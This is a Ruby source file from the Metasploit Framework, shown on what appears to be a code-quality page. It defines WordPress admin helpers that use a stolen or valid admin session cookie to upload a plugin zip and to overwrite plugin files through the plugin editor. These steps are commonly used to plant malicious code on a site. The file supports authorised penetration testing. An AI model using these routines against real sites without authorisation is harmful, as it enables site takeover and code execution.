rapid7/metasploit-framework

View on GitHub
lib/msf/core/exploit/remote/http/wordpress/admin.rb

Summary

Maintainability
B
4 hrs
Test Coverage
# -*- coding: binary -*-
require 'rex/mime/message'

module Msf::Exploit::Remote::HTTP::Wordpress::Admin
  # Uploads a plugin using a valid admin session.
  #
  # @param name [String] The name of the plugin
  # @param zip [String] The plugin zip file as a string
  # @param cookie [String] A valid admin session cookie
  # @return [Boolean] true on success, false on error
  def wordpress_upload_plugin(name, zip, cookie)
    nonce = wordpress_helper_get_plugin_upload_nonce(cookie)
    if nonce.nil?
      vprint_error("Failed to acquire the plugin upload nonce")
      return false
    end
    vprint_status("Acquired a plugin upload nonce: #{nonce}")

    referer_uri = normalize_uri(wordpress_url_backend, 'plugin-install.php?tab=upload')
    data = Rex::MIME::Message.new
    data.add_part(nonce, nil, nil, 'form-data; name="_wpnonce"')
    data.add_part(referer_uri, nil, nil, 'form-data; name="_wp_http_referer"')
    data.add_part(zip, 'application/octet-stream', 'binary', "form-data; name=\"pluginzip\"; filename=\"#{name}.zip\"")
    data.add_part('Install Now', nil, nil, 'form-data; name="install-plugin-submit"')

    res = send_request_cgi(
      'method'    => 'POST',
      'uri'       => wordpress_url_admin_update,
      'ctype'     => "multipart/form-data; boundary=#{data.bound}",
      'data'      => data.to_s,
      'cookie'    => cookie,
      'vars_get'  => { 'action' => 'upload-plugin' }
    )

    if res && res.code == 200
      vprint_status("Uploaded plugin #{name}")
      return true
    else
      vprint_error("Server responded with code #{res.code}") if res
      vprint_error("Failed to upload plugin #{name}")
      return false
    end
  end

  # Edits a plugin file (relative to plugins dir) using a valid admin session.
  #
  # @param file [String] The plugin file to edit (relative to plugins dir)
  # @param contents [String] The plugin file contents to overwrite with
  # @param cookie [String] A valid admin session cookie
  # @return [Boolean] true on success, false on error
  def wordpress_edit_plugin(file, contents, cookie)
    unless (nonce = wordpress_helper_get_plugin_edit_nonce(cookie, file))
      vprint_error('Failed to acquire the plugin edit nonce')
      return false
    end

    vprint_status("Acquired a plugin edit nonce: #{nonce}")

    # https://github.com/WordPress/WordPress/blob/master/wp-admin/plugin-editor.php
    res = send_request_cgi(
      'method'       => 'POST',
      'uri'          => wordpress_url_admin_plugin_editor,
      'cookie'       => cookie,
      'vars_post'    => {
        'action'     => 'update',
        '_wpnonce'   => nonce,
        'file'       => file,
        'newcontent' => contents
      }
    )

    unless res && res.redirect?
      vprint_error("Server responded with code #{res.code}") if res
      vprint_error("Failed to edit plugin file #{file}")
      return false
    end

    # NOTE: send_request_cgi! doesn't change the method
    res = send_request_cgi(
      'method' => 'GET',
      'uri'    => res.redirection.to_s,
      'cookie' => cookie
    )

    unless res && res.code == 200 && res.body.include?('edited successfully')
      vprint_error("Server responded with code #{res.code}") if res
      vprint_error("Failed to edit plugin file #{file}")
      return false
    end

    vprint_status("Edited plugin file #{file}")
    true
  end
end